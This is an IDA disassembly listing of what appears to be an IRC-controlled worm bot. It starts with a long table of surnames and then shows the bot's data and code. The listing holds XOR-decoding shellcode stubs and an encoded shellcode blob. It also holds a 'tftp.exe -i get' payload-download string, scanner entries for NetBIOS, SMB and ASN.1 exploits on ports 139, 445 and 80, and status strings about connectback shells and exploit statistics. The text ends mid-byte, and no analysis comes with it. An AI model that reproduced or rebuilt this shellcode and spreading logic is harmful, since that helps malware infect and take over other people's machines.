; DATA XREF: ___:0042DA34o align 4 aDasilva db 'daSilva',0 ; DATA XREF: ___:0042DA30o aCyders db 'Cyders',0 ; DATA XREF: ___:0042DA2Co align 4 aCvek db 'Cvek',0 ; DATA XREF: ___:0042DA28o align 4 aCutler db 'Cutler',0 ; DATA XREF: ___:0042DA24o align 4 aCurrier db 'Currier',0 ; DATA XREF: ___:0042DA20o aCui db 'Cui',0 ; DATA XREF: ___:0042DA1Co aCroxton db 'Croxton',0 ; DATA XREF: ___:0042DA18o aCroxen db 'Croxen',0 ; DATA XREF: ___:0042DA14o align 10h aCroshaw db 'Croshaw',0 ; DATA XREF: ___:0042DA10o aCrocker db 'Crocker',0 ; DATA XREF: ___:0042DA0Co aCrawford db 'Crawford',0 ; DATA XREF: ___:0042DA08o align 4 aCoutaux db 'Coutaux',0 ; DATA XREF: ___:0042DA04o aCounter db 'Counter',0 ; DATA XREF: ___:0042DA00o aCosmides db 'Cosmides',0 ; DATA XREF: ___:0042D9FCo align 4 aCornish db 'Cornish',0 ; DATA XREF: ___:0042D9F8o aCorey db 'Corey',0 ; DATA XREF: ___:0042D9F4o align 4 aConnors db 'Connors',0 ; DATA XREF: ___:0042D9F0o aCondodina db 'Condodina',0 ; DATA XREF: ___:0042D9ECo align 4 aConcino db 'Concino',0 ; DATA XREF: ___:0042D9E8o aComstock db 'Comstock',0 ; DATA XREF: ___:0042D9E4o align 10h aCompton db 'Compton',0 ; DATA XREF: ___:0042D9DCo ; ___:0042D9E0o aCollis db 'Collis',0 ; DATA XREF: ___:0042D9D8o align 10h aCollard db 'Collard',0 ; DATA XREF: ___:0042D9D4o aColella db 'Colella',0 ; DATA XREF: ___:0042D9D0o aColdren db 'Coldren',0 ; DATA XREF: ___:0042D9CCo aCoito db 'Coito',0 ; DATA XREF: ___:0042D9C8o align 10h aCoblenz db 'Coblenz',0 ; DATA XREF: ___:0042D9C4o aClow db 'Clow',0 ; DATA XREF: ___:0042D9C0o align 10h aClifton db 'Clifton',0 ; DATA XREF: ___:0042D9BCo aClement db 'Clement',0 ; DATA XREF: ___:0042D9B8o aClark db 'Clark',0 ; DATA XREF: ___:0042D9B4o align 4 aClancy db 'Clancy',0 ; DATA XREF: ___:0042D9B0o align 10h aClaffey db 'Claffey',0 ; DATA XREF: ___:0042D9ACo aCifarelli db 'Cifarelli',0 ; DATA XREF: ___:0042D9A8o align 4 aCicero db 'Cicero',0 ; DATA XREF: ___:0042D9A4o align 4 aCiampaglia db 'Ciampaglia',0 ; DATA XREF: ___:0042D9A0o align 4 aChurch db 'Church',0 ; DATA XREF: ___:0042D99Co align 10h aChupasko db 'Chupasko',0 ; DATA XREF: ___:0042D998o align 4 aChu db 'Chu',0 ; DATA XREF: ___:0042D994o aChristopher db 'Christopher',0 ; DATA XREF: ___:0042D990o aChristie db 'Christie',0 ; DATA XREF: ___:0042D98Co align 4 aChristiano db 'Christiano',0 ; DATA XREF: ___:0042D988o align 4 aChristian db 'Christian',0 ; DATA XREF: ___:0042D984o align 10h aChristenson db 'Christenson',0 ; DATA XREF: ___:0042D980o aChinman db 'Chinman',0 ; DATA XREF: ___:0042D97Co aChinipardaz db 'Chinipardaz',0 ; DATA XREF: ___:0042D978o aChilds db 'Childs',0 ; DATA XREF: ___:0042D974o align 4 aChildress db 'Childress',0 ; DATA XREF: ___:0042D970o align 4 aChien db 'Chien',0 ; DATA XREF: ___:0042D96Co align 4 aChiassino db 'Chiassino',0 ; DATA XREF: ___:0042D968o align 4 aChervinsky db 'Chervinsky',0 ; DATA XREF: ___:0042D964o align 4 aCherry db 'Cherry',0 ; DATA XREF: ___:0042D960o align 4 aCheang db 'Cheang',0 ; DATA XREF: ___:0042D95Co align 4 aCharles db 'Charles',0 ; DATA XREF: ___:0042D958o aChapman db 'Chapman',0 ; DATA XREF: ___:0042D954o aCerioli db 'Cerioli',0 ; DATA XREF: ___:0042D950o aCeniceros db 'Ceniceros',0 ; DATA XREF: ___:0042D94Co align 4 aCavell db 'Cavell',0 ; DATA XREF: ___:0042D948o align 10h aCavanagh db 'Cavanagh',0 ; DATA XREF: ___:0042D944o align 4 aCastelda db 'Castelda',0 ; DATA XREF: ___:0042D940o align 4 aCaspar db 'Caspar',0 ; DATA XREF: ___:0042D93Co align 10h aCase db 'Case',0 ; DATA XREF: ___:0042D938o align 4 aCascio db 'Cascio',0 ; DATA XREF: ___:0042D934o align 10h aCartmill db 'Cartmill',0 ; DATA XREF: ___:0042D930o align 4 aCarper db 'Carper',0 ; DATA XREF: ___:0042D92Co align 4 aCaroti db 'Caroti',0 ; DATA XREF: ___:0042D928o align 4 aCarmichael db 'Carmichael',0 ; DATA XREF: ___:0042D924o align 4 aCarlyle db 'Carlyle',0 ; DATA XREF: ___:0042D920o aCarlos db 'Carlos',0 ; DATA XREF: ___:0042D91Co align 4 aCarlin db 'Carlin',0 ; DATA XREF: ___:0042D918o align 10h aCarayannopoulo db 'Carayannopoulos',0 ; DATA XREF: ___:0042D914o aCaratozzolo db 'Caratozzolo',0 ; DATA XREF: ___:0042D910o aCapursi db 'Capursi',0 ; DATA XREF: ___:0042D90Co aCappuccio db 'Cappuccio',0 ; DATA XREF: ___:0042D908o align 10h aCapodilupo db 'Capodilupo',0 ; DATA XREF: ___:0042D904o align 4 aCapocaccia db 'Capocaccia',0 ; DATA XREF: ___:0042D900o align 4 aCaperton db 'Caperton',0 ; DATA XREF: ___:0042D8FCo align 4 aCapanni db 'Capanni',0 ; DATA XREF: ___:0042D8F8o aCanley db 'Canley',0 ; DATA XREF: ___:0042D8F4o align 4 aCammilleri db 'Cammilleri',0 ; DATA XREF: ___:0042D8F0o align 10h aCammelli db 'Cammelli',0 ; DATA XREF: ___:0042D8ECo align 4 aCalnan db 'Calnan',0 ; DATA XREF: ___:0042D8E8o align 4 aCage db 'Cage',0 ; DATA XREF: ___:0042D8E4o align 4 aByrd db 'Byrd',0 ; DATA XREF: ___:0042D8E0o align 4 aByerly db 'Byerly',0 ; DATA XREF: ___:0042D8DCo align 4 aByatt db 'Byatt',0 ; DATA XREF: ___:0042D8D8o align 4 aBusetta db 'Busetta',0 ; DATA XREF: ___:0042D8D4o aBurridge db 'Burridge',0 ; DATA XREF: ___:0042D8D0o align 4 aBurke db 'Burke',0 ; DATA XREF: ___:0042D8CCo align 10h aBurdzy db 'Burdzy',0 ; DATA XREF: ___:0042D8C8o align 4 aBurden db 'Burden',0 ; DATA XREF: ___:0042D8C4o align 10h aBunton db 'Bunton',0 ; DATA XREF: ___:0042D8C0o align 4 aBullard db 'Bullard',0 ; DATA XREF: ___:0042D8BCo aBudding db 'Budding',0 ; DATA XREF: ___:0042D8B8o aBuchan db 'Buchan',0 ; DATA XREF: ___:0042D8B4o align 10h aBrzycki db 'Brzycki',0 ; DATA XREF: ___:0042D8B0o aBrook db 'Brook',0 ; DATA XREF: ___:0042D8ACo align 10h aBroca db 'Broca',0 ; DATA XREF: ___:0042D8A8o align 4 aBritz db 'Britz',0 ; DATA XREF: ___:0042D8A4o align 10h aBrinton db 'Brinton',0 ; DATA XREF: ___:0042D8A0o aBridges db 'Bridges',0 ; DATA XREF: ___:0042D89Co aBridgeman db 'Bridgeman',0 ; DATA XREF: ___:0042D898o align 4 aBrewer db 'Brewer',0 ; DATA XREF: ___:0042D890o ; ___:0042D894o align 4 aBrennan db 'Brennan',0 ; DATA XREF: ___:0042D88Co aBrenan db 'Brenan',0 ; DATA XREF: ___:0042D888o align 4 aBreed db 'Breed',0 ; DATA XREF: ___:0042D884o align 4 aBrecht db 'Brecht',0 ; DATA XREF: ___:0042D880o align 4 aBradach db 'Bradach',0 ; DATA XREF: ___:0042D87Co aBradac db 'Bradac',0 ; DATA XREF: ___:0042D878o align 4 aBracalente db 'Bracalente',0 ; DATA XREF: ___:0042D874o align 10h aBoyne db 'Boyne',0 ; DATA XREF: ___:0042D870o align 4 aBoym db 'Boym',0 ; DATA XREF: ___:0042D86Co align 10h aBoyland db 'Boyland',0 ; DATA XREF: ___:0042D868o aBoyes db 'Boyes',0 ; DATA XREF: ___:0042D864o align 10h aBoyajian db 'Boyajian',0 ; DATA XREF: ___:0042D860o align 4 aBoxer db 'Boxer',0 ; DATA XREF: ___:0042D85Co align 4 aBowers db 'Bowers',0 ; DATA XREF: ___:0042D858o align 4 aBourneuf db 'Bourneuf',0 ; DATA XREF: ___:0042D854o align 4 aBoudrot db 'Boudrot',0 ; DATA XREF: ___:0042D850o aBoudin db 'Boudin',0 ; DATA XREF: ___:0042D84Co align 4 aBotosh db 'Botosh',0 ; DATA XREF: ___:0042D848o align 10h aBothman db 'Bothman',0 ; DATA XREF: ___:0042D844o aBossi db 'Bossi',0 ; DATA XREF: ___:0042D840o align 10h aBorden db 'Borden',0 ; DATA XREF: ___:0042D83Co align 4 aBorack db 'Borack',0 ; DATA XREF: ___:0042D838o align 10h aBoorstin db 'Boorstin',0 ; DATA XREF: ___:0042D834o align 4 aBoone db 'Boone',0 ; DATA XREF: ___:0042D830o align 4 aBookbinder db 'Bookbinder',0 ; DATA XREF: ___:0042D82Co align 10h aBook db 'Book',0 ; DATA XREF: ___:0042D828o align 4 aBontempo db 'Bontempo',0 ; DATA XREF: ___:0042D824o align 4 aBoniface db 'Boniface',0 ; DATA XREF: ___:0042D820o align 10h aBonham db 'Bonham',0 ; DATA XREF: ___:0042D81Co align 4 aBoner db 'Boner',0 ; DATA XREF: ___:0042D818o align 10h aBologna db 'Bologna',0 ; DATA XREF: ___:0042D814o aBollinger db 'Bollinger',0 ; DATA XREF: ___:0042D810o align 4 aBolick db 'Bolick',0 ; DATA XREF: ___:0042D80Co align 4 aBolger db 'Bolger',0 ; DATA XREF: ___:0042D808o align 4 aBlyth db 'Blyth',0 ; DATA XREF: ___:0042D804o align 4 aBloxham db 'Bloxham',0 ; DATA XREF: ___:0042D800o aBloemhof db 'Bloemhof',0 ; DATA XREF: ___:0042D7FCo align 10h aBloembergen db 'Bloembergen',0 ; DATA XREF: ___:0042D7F8o aBloch db 'Bloch',0 ; DATA XREF: ___:0042D7F4o align 4 aBlizard db 'Blizard',0 ; DATA XREF: ___:0042D7F0o aBliss db 'Bliss',0 ; DATA XREF: ___:0042D7ECo align 4 aBlanke db 'Blanke',0 ; DATA XREF: ___:0042D7E8o align 4 aBlakemore db 'Blakemore',0 ; DATA XREF: ___:0042D7E4o align 4 aBlagg db 'Blagg',0 ; DATA XREF: ___:0042D7E0o align 10h aBlackwell db 'Blackwell',0 ; DATA XREF: ___:0042D7DCo align 4 aBlackbourn db 'Blackbourn',0 ; DATA XREF: ___:0042D7D8o align 4 aBisho db 'Bisho',0 ; DATA XREF: ___:0042D7D4o align 10h aBisema db 'Bisema',0 ; DATA XREF: ___:0042D7D0o align 4 aBir db 'Bir',0 ; DATA XREF: ___:0042D7CCo aBinion db 'Binion',0 ; DATA XREF: ___:0042D7C8o align 4 aBickel db 'Bickel',0 ; DATA XREF: ___:0042D7C4o align 4 aBiagioli db 'Biagioli',0 ; DATA XREF: ___:0042D7C0o align 4 aBeynart db 'Beynart',0 ; DATA XREF: ___:0042D7BCo aBetti db 'Betti',0 ; DATA XREF: ___:0042D7B8o align 4 aBerrizbeitia db 'Berrizbeitia',0 ; DATA XREF: ___:0042D7B4o align 4 aBernston db 'Bernston',0 ; DATA XREF: ___:0042D7B0o align 4 aBernassola db 'Bernassola',0 ; DATA XREF: ___:0042D7ACo align 10h aBernardo db 'Bernardo',0 ; DATA XREF: ___:0042D7A8o align 4 aBerkeJenkins db 'Berke-Jenkins',0 ; DATA XREF: ___:0042D7A4o align 4 aBergson db 'Bergson',0 ; DATA XREF: ___:0042D7A0o aBenedictDye db 'Benedict-Dye',0 ; DATA XREF: ___:0042D79Co align 4 aBelloc db 'Belloc',0 ; DATA XREF: ___:0042D798o align 4 aBellini db 'Bellini',0 ; DATA XREF: ___:0042D794o aBellhouse db 'Bellhouse',0 ; DATA XREF: ___:0042D790o align 10h aBellavance db 'Bellavance',0 ; DATA XREF: ___:0042D78Co align 4 aBelinCollart db 'Belin-Collart',0 ; DATA XREF: ___:0042D788o align 4 aBelfer db 'Belfer',0 ; DATA XREF: ___:0042D784o align 4 aBelaoussof db 'Belaoussof',0 ; DATA XREF: ___:0042D780o align 10h aBelanger db 'Belanger',0 ; DATA XREF: ___:0042D77Co align 4 aBehenna db 'Behenna',0 ; DATA XREF: ___:0042D778o aBedford db 'Bedford',0 ; DATA XREF: ___:0042D774o aBeder db 'Beder',0 ; DATA XREF: ___:0042D770o align 4 aBeckman db 'Beckman',0 ; DATA XREF: ___:0042D76Co aBean db 'Bean',0 ; DATA XREF: ___:0042D768o align 4 aBeal db 'Beal',0 ; DATA XREF: ___:0042D764o align 4 aBeacon db 'Beacon',0 ; DATA XREF: ___:0042D760o align 4 aBayo db 'Bayo',0 ; DATA XREF: ___:0042D75Co align 4 aBayles db 'Bayles',0 ; DATA XREF: ___:0042D758o align 4 aBaumiller db 'Baumiller',0 ; DATA XREF: ___:0042D754o align 10h aBatchelder db 'Batchelder',0 ; DATA XREF: ___:0042D750o align 4 aBashevis db 'Bashevis',0 ; DATA XREF: ___:0042D74Co align 4 aBasavappa db 'Basavappa',0 ; DATA XREF: ___:0042D748o align 4 aBartoo db 'Bartoo',0 ; DATA XREF: ___:0042D744o align 4 aBartolome db 'Bartolome',0 ; DATA XREF: ___:0042D740o align 4 aBartholomew db 'Bartholomew',0 ; DATA XREF: ___:0042D73Co aBarry db 'Barry',0 ; DATA XREF: ___:0042D738o align 4 aBarriola db 'Barriola',0 ; DATA XREF: ___:0042D734o align 4 aBarnett db 'Barnett',0 ; DATA XREF: ___:0042D730o aBarneson db 'Barneson',0 ; DATA XREF: ___:0042D72Co align 4 aBarbetti db 'Barbetti',0 ; DATA XREF: ___:0042D728o align 4 aBarberi db 'Barberi',0 ; DATA XREF: ___:0042D724o aBaranowska db 'Baranowska',0 ; DATA XREF: ___:0042D720o align 4 aBaranczak db 'Baranczak',0 ; DATA XREF: ___:0042D71Co align 4 aBarajas db 'Barajas',0 ; DATA XREF: ___:0042D718o aBarabesi db 'Barabesi',0 ; DATA XREF: ___:0042D714o align 4 aBanta db 'Banta',0 ; DATA XREF: ___:0042D710o align 4 aBaltz db 'Baltz',0 ; DATA XREF: ___:0042D70Co align 4 aBallew db 'Ballew',0 ; DATA XREF: ___:0042D708o align 4 aBallatori db 'Ballatori',0 ; DATA XREF: ___:0042D704o align 10h aBaleja db 'Baleja',0 ; DATA XREF: ___:0042D700o align 4 aBakanowsky db 'Bakanowsky',0 ; DATA XREF: ___:0042D6FCo align 4 aBailar db 'Bailar',0 ; DATA XREF: ___:0042D6F8o align 4 aBagnold db 'Bagnold',0 ; DATA XREF: ___:0042D6F4o aBaglivo db 'Baglivo',0 ; DATA XREF: ___:0042D6F0o aBady db 'Bady',0 ; DATA XREF: ___:0042D6ECo align 4 aBackus db 'Backus',0 ; DATA XREF: ___:0042D6E8o align 4 aBachmuth db 'Bachmuth',0 ; DATA XREF: ___:0042D6E4o align 4 aAzima db 'Azima',0 ; DATA XREF: ___:0042D6E0o align 10h aAyling db 'Ayling',0 ; DATA XREF: ___:0042D6DCo align 4 aAykroyd db 'Aykroyd',0 ; DATA XREF: ___:0042D6D8o aAyiemba db 'Ayiemba',0 ; DATA XREF: ___:0042D6D4o aAxworthy db 'Axworthy',0 ; DATA XREF: ___:0042D6D0o align 4 aAxelrod db 'Axelrod',0 ; DATA XREF: ___:0042D6CCo aAurelius db 'Aurelius',0 ; DATA XREF: ___:0042D6C8o align 4 aAugustus db 'Augustus',0 ; DATA XREF: ___:0042D6C4o align 4 aAtkins db 'Atkins',0 ; DATA XREF: ___:0042D6C0o align 4 aArky db 'Arky',0 ; DATA XREF: ___:0042D6BCo align 4 aArjas db 'Arjas',0 ; DATA XREF: ___:0042D6B8o align 4 aAristotle db 'Aristotle',0 ; DATA XREF: ___:0042D6B4o align 4 aArellano db 'Arellano',0 ; DATA XREF: ___:0042D6B0o align 4 aArduini db 'Arduini',0 ; DATA XREF: ___:0042D6ACo aArbia db 'Arbia',0 ; DATA XREF: ___:0042D6A8o align 4 aAntos db 'Antos',0 ; DATA XREF: ___:0042D6A4o align 4 aAnthony db 'Anthony',0 ; DATA XREF: ___:0042D6A0o aAnsley db 'Ansley',0 ; DATA XREF: ___:0042D69Co align 4 aAnfinrud db 'Anfinrud',0 ; DATA XREF: ___:0042D698o align 4 aAndron db 'Andron',0 ; DATA XREF: ___:0042D694o align 10h aAndrelus db 'Andrelus',0 ; DATA XREF: ___:0042D690o align 4 aAndo db 'Ando',0 ; DATA XREF: ___:0042D68Co align 4 aAndel db 'Andel',0 ; DATA XREF: ___:0042D688o align 4 aAnand db 'Anand',0 ; DATA XREF: ___:0042D684o align 4 aAmsden db 'Amsden',0 ; DATA XREF: ___:0042D680o align 4 aAmeer db 'Ameer',0 ; DATA XREF: ___:0042D67Co align 4 aAmatangelo db 'Amatangelo',0 ; DATA XREF: ___:0042D678o align 10h aAmaral db 'Amaral',0 ; DATA XREF: ___:0042D674o align 4 aAltenhofen db 'Altenhofen',0 ; DATA XREF: ___:0042D670o align 4 aAltenberger db 'Altenberger',0 ; DATA XREF: ___:0042D66Co aAltavilla db 'Altavilla',0 ; DATA XREF: ___:0042D668o align 4 aAlongi db 'Alongi',0 ; DATA XREF: ___:0042D664o align 4 aAllison db 'Allison',0 ; DATA XREF: ___:0042D660o aAleks db 'Aleks',0 ; DATA XREF: ___:0042D65Co align 4 aAlda db 'Alda',0 ; DATA XREF: ___:0042D658o align 4 aAlcorn db 'Alcorn',0 ; DATA XREF: ___:0042D654o align 4 aAlavi db 'Alavi',0 ; DATA XREF: ___:0042D650o align 4 aAhlers db 'Ahlers',0 ; DATA XREF: ___:0042D64Co align 4 aAdorno db 'Adorno',0 ; DATA XREF: ___:0042D648o align 4 aAdibe db 'Adibe',0 ; DATA XREF: ___:0042D644o align 4 aAdelstein db 'Adelstein',0 ; DATA XREF: ___:0042D640o align 10h aAddison db 'Addison',0 ; DATA XREF: ___:off_42D63Co aAdams db 'Adams',0 ; DATA XREF: ___:0042D638o align 10h aAckerman db 'Ackerman',0 ; DATA XREF: ___:0042D634o align 4 aAbdulrazak db 'Abdulrazak',0 ; DATA XREF: ___:off_42D630o align 4 byte_431288 db 50h ; DATA XREF: ___:0040ADEFo ; ___:0040ADFCr db 43h, 2 dup(0) dword_43128C dd 7C7325h ; DATA XREF: ___:0040AE9Ao dword_431290 dd 5D73255Bh, 7Ch ; DATA XREF: ___:0040AFA4o dword_431298 dd 3F3F3Fh ; DATA XREF: ___:loc_40AF9Bo ; sub_41AA42:loc_41AB05o dword_43129C dd 334B32h ; DATA XREF: ___:0040AF94o dword_4312A0 dd 5058h ; DATA XREF: ___:0040AF86o ; sub_41AA42+AAo dword_4312A4 dd 4B32h ; DATA XREF: ___:0040AF76o ; sub_41AA42+98o dword_4312A8 dd 454Dh ; DATA XREF: ___:0040AF5Do ; sub_41AA42+7Eo dword_4312AC dd 3839h ; DATA XREF: ___:0040AF4Do ; sub_41AA42+6Co dword_4312B0 dd 544Eh ; DATA XREF: ___:0040AF3Do ; sub_41AA42+5Ao dword_4312B4 dd 3539h ; DATA XREF: ___:0040AF2Fo ; sub_41AA42+46o dword_4312B8 dd 5D64255Bh, 7325h ; DATA XREF: sub_40AFEA+3Ao dword_4312C0 dd 5D4D5Bh ; DATA XREF: sub_40AFEA+2Co ; sub_40AFEA+57o aMirc_0 db 'mIRC',0 ; DATA XREF: sub_40AFEA+18o ; sub_418211+5o align 4 jmp short loc_4312D0 ; --------------------------------------------------------------------------- loc_4312CE: ; CODE XREF: ___:loc_4312D0p jmp short loc_4312D5 ; --------------------------------------------------------------------------- loc_4312D0: ; CODE XREF: ___:004312CCj call loc_4312CE loc_4312D5: ; CODE XREF: ___:loc_4312CEj pop ebx xor ecx, ecx mov cx, 0FFFFh loc_4312DC: ; CODE XREF: ___:004312E1j xor byte ptr [ebx+0Eh], 0FFh inc ebx loop loc_4312DC add bl, ch add ch, bl add eax, 0FFFFF9E8h call fword ptr [ebx+31h] leave mov cl, 0FFh loc_4312F2: ; CODE XREF: ___:004312F7j xor byte ptr [ebx+0Ch], 0FFh inc ebx loop loc_4312F2 ; --------------------------------------------------------------------------- db 3 dup(0) dd 364C033h, 0C783040h, 8B0C408Bh, 8BAD1C70h, 9EB0840h dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h dd 12h aTftp_exeIGet db 'tftp.exe -i get ',0 ; --------------------------------------------------------------------------- push 0 call sub_431394 jnz short loc_431380 retn ; --------------------------------------------------------------------------- loc_431380: ; CODE XREF: ___:0043137Dj ; ___:0043138Dj call near ptr loc_431385+1 loc_431385: ; CODE XREF: ___:loc_431380p add [edx+0], ch call sub_431394 jz loc_431380 retn ; =============== S U B R O U T I N E ======================================= sub_431394 proc near ; CODE XREF: ___:00431378p ; ___:00431388p pop eax pop ebx pop ebp push eax sub esp, 54h xor eax, eax mov edi, esp lea ecx, [eax+40h] mov edx, edi rep stosb mov al, 44h stosd push edi push edx push ecx push ecx push 28h push 1 push ecx push ecx push ebp push ebx call esi add esp, 54h test eax, eax retn sub_431394 endp ; --------------------------------------------------------------------------- align 10h dd 234032Dh, 65726874h, 6C206461h, 2747369h, 202D03h aSNoSThreadFoun db '%s No %s thread found.',0 ; DATA XREF: sub_40B384+51o align 4 aSSStopped_DThr db '%s %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_40B384+35o align 8 aSym db 'sym',0 ; DATA XREF: sub_40C124+169o dd 0 db 2 dup(0) aSymantec db 'Symantec',0 ; DATA XREF: sub_40B7DA+30o align 4 dd 5 dup(0) dword_431440 dd 0B97h ; DATA XREF: sub_401ACD+1DA0r ; sub_401ACD+1DC9o ... off_431444 dd offset sub_40E0D0 ; DATA XREF: sub_40C124+1EAr dword_431448 dd 0 ; DATA XREF: sub_40B64A+2Eo ; ___:0040D495w ... dword_43144C dd 1 ; DATA XREF: sub_40BACD+1Fr dword_431450 dd 1 ; DATA XREF: sub_40BACD+3B3r dword_431454 dd 0 ; DATA XREF: sub_40BACD+292r dd 636E76h, 0 dd 6E760000h, 63h, 6 dup(0) dd 170Ch, 40E206h, 0 dd 2 dup(1), 0 aNet139 db 'net139',0 align 10h dd 654E0000h, 69706174h, 393331h, 5 dup(0) dd 8Bh, 40DF8Eh, 0 dd 2 dup(1), 0 aNet445 db 'net445',0 align 10h dd 654E0000h, 69706174h, 353434h, 5 dup(0) dd 1BDh, 40DF8Eh, 0 dd 2 dup(1), 0 aAsn80 db 'asn80',0 align 10h dd 53410000h, 2D312E4Eh, 50545448h, 5 dup(0) dd 50h, 40D2D9h, 0 dd 2 dup(1), 0 aAsn445 db 'asn445',0 align 10h dd 53410000h, 2D312E4Eh, 424D53h, 5 dup(0) dd 1BDh, 40D2D9h, 0 dd 2 dup(1), 0 aAsn139 db 'asn139',0 align 10h dd 53410000h, 2D312E4Eh, 20424D53h, 544Eh, 4 dup(0) dd 8Bh, 40D2D9h, 0 dd 2 dup(1), 2 dup(0) dd 10100h, 0Eh dup(0) aAsn139_0 db 'asn139',0 align 10h db 2 dup(0) byte_431622 db 1 ; DATA XREF: sub_401ACD:loc_4037E6r ; sub_401ACD+1D23o aAsn445_0 db 'asn445',0 align 4 dd 100h, 3 dup(0) ; --------------------------------------------------------------------------- jmp short loc_43164E ; =============== S U B R O U T I N E ======================================= sub_43163E proc near ; CODE XREF: sub_43163E:loc_43164Ep pop edx dec edx xor ecx, ecx mov cx, 166h loc_431646: ; CODE XREF: sub_43163E+Cj xor byte ptr [edx+ecx], 99h loop loc_431646 jmp short loc_431653 ; --------------------------------------------------------------------------- loc_43164E: ; CODE XREF: ___:0043163Cj call sub_43163E loc_431653: ; CODE XREF: sub_43163E+Ej jo short near ptr dword_4315DC+12h cwde cdq cdq retn sub_43163E endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 21h, 95h, 69h dd 9912E664h, 3485E912h, 1291D912h, 0A5EA1241h, 0EF126A9Ah dd 126A9AE1h, 629AB9E7h, 0AA8DD712h, 0C8CECF74h, 629AA612h dd 97F36B12h, 0ED3F6AC0h, 1AC6C091h, 7BDC9D5Eh, 0C7C6C070h dd 0DF125412h, 485A9ABDh, 0AA589A78h, 9112FF50h, 9A85DF12h dd 9B78585Ah, 9912589Ah, 63125A9Ah, 5F1A6E12h, 0F3491297h dd 0E571C09Ah, 1A999999h, 0CFCB945Fh, 0C365CE66h, 9DF34112h dd 99F071C0h, 0C9C99999h, 98F3C9C9h, 0CE669BF3h, 5E411269h dd 9E999B9Eh, 1059AA24h, 89F39DDEh, 0CE66CACEh, 0CA98F36Dh dd 0C961CE66h, 0CE66CAC9h, 0DD751A65h, 42AA6D12h, 10C089F3h dd 627B1785h, 10A1DF10h, 0DF10A5DFh, 0B5DF5ED9h, 99999898h dd 0C989DE14h, 0CACACACFh, 0CACA98F3h, 0FAA5DE5Eh, 1499FDF4h dd 0CAC9A5DEh, 0C97DCE66h, 0AA71CE66h, 591C3559h, 0CBC860ECh dd 4B66CACFh, 7B32C0C3h, 5A59AA77h, 66676271h, 0EDFCDE66h dd 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh, 0F8FCEBDAh, 0EBC9FCEDh dd 0EAFCFAF6h, 0DC99D8EAh, 0C9EDF0E1h, 0FCFAF6EBh, 0D599EAEAh dd 0D5FDF8F6h, 0F8EBFBF0h, 99D8E0EBh, 0C6ABEAEEh, 0CE99ABAAh dd 0F6CAD8CAh, 0EDFCF2FAh, 0F0FB99D8h, 0F599FDF7h, 0FCEDEAF0h dd 0FAF899F7h, 0EDE9FCFAh, 99h aTotalDInS_ db ' Total: %d in %s.',0 ; DATA XREF: sub_40B64A+86o align 10h dword_4317D0 dd 25370320h, 203A0373h, 2C6425h ; DATA XREF: sub_40B64A+46o unk_4317DC db 2Dh ; - ; DATA XREF: sub_40B64A+11o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aExploitStatist db 'Exploit Statistics:',0 unk_4317FC db 2Dh ; - ; DATA XREF: sub_40B719+38o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h db 54h ; T db 72h, 61h, 6Eh db 73h ; s db 66h, 65h, 72h db 20h db 53h, 74h, 61h db 74h ; t db 69h, 73h, 74h db 69h ; i db 63h, 73h, 3Ah db 20h db 2, 54h, 46h db 54h ; T db 50h, 2, 3Ah db 20h db 25h, 64h, 2Ch db 20h db 2, 46h, 54h db 50h ; P db 2, 3Ah, 20h aDTotalDInS_ db '%d, Total %d in %s.',0 unk_431844 db 2Dh ; - ; DATA XREF: sub_40B785+22o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aDConnectbackSh db '%d connectback shells in %s.',0 align 10h aScanTimeS_ db ' Scan Time: %s.',0 ; DATA XREF: sub_40B7DA+7Fo dword_431880 dd 25370320h, 28200373h, 73253403h, 2C2903h ; DATA XREF: sub_40B7DA+40o dword_431890 dd 234032Dh, 6E616373h, 202D0302h, 6C707845h, 2074696Fh ; DATA XREF: sub_40B7DA+14o dd 7473694Ch, 3Ah unk_4318AC db 2Dh ; - ; DATA XREF: ___:0040BA13o db 3, 34h, 2 db 65h ; e db 78h, 70h, 6Ch db 6Fh ; o db 69h, 74h, 2 db 3 aFinishedExploi db '- finished exploiting %s (%d attempts)',0 unk_4318E0 db 2Dh ; - ; DATA XREF: ___:0040B921o db 3, 34h, 2 db 65h ; e db 78h, 70h, 6Ch db 6Fh ; o db 69h, 74h, 2 db 3 db 2Dh, 20h, 74h db 72h ; r db 79h, 69h, 6Eh db 67h ; g db 20h, 2, 25h db 73h ; s db 2, 20h, 6Fh aNSPortD___ db 'n %s (port %d)...',0 align 10h unk_431910 db 2Dh ; - ; DATA XREF: sub_40BA56+42o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aScanNotActive_ db 'Scan not active.',0 align 10h unk_431930 db 2Dh ; - ; DATA XREF: sub_40BA56+2Co db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aCurrentIpS_ db 'Current IP: %s.',0 unk_43194C db 2Dh ; - ; DATA XREF: sub_40BACD+4B7o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aFailedToSta_33 db ' Failed to start server, error: <%d>.',0 align 10h unk_431980 db 2Dh ; - ; DATA XREF: sub_40BACD+38Fo db 3, 34h, 2 db 63h ; c db 6Fh, 2 dup(6Eh) db 65h ; e db 63h, 74h, 62h db 61h ; a db 63h, 6Bh, 2 db 3 aFailedToSta_34 db '- Failed to start server, error: <%d>.',0 unk_4319B8 db 2Dh ; - ; DATA XREF: sub_40BACD+321o db 3, 34h, 2 db 63h ; c db 6Fh, 2 dup(6Eh) db 65h ; e db 63h, 74h, 62h db 61h ; a db 63h, 6Bh, 2 db 3 aServerStarte_2 db '- Server started on Port: %d.',0 align 4 unk_4319E8 db 2Dh ; - ; DATA XREF: sub_40BACD+26Co db 3, 34h, 2 db 66h ; f db 74h, 70h, 64h db 2 db 3, 2Dh, 20h aFailedToSta_35 db 'Failed to start server, error: <%d>.',0 align 4 unk_431A1C db 2Dh ; - ; DATA XREF: sub_40BACD+1FEo db 3, 34h, 2 db 66h ; f db 74h, 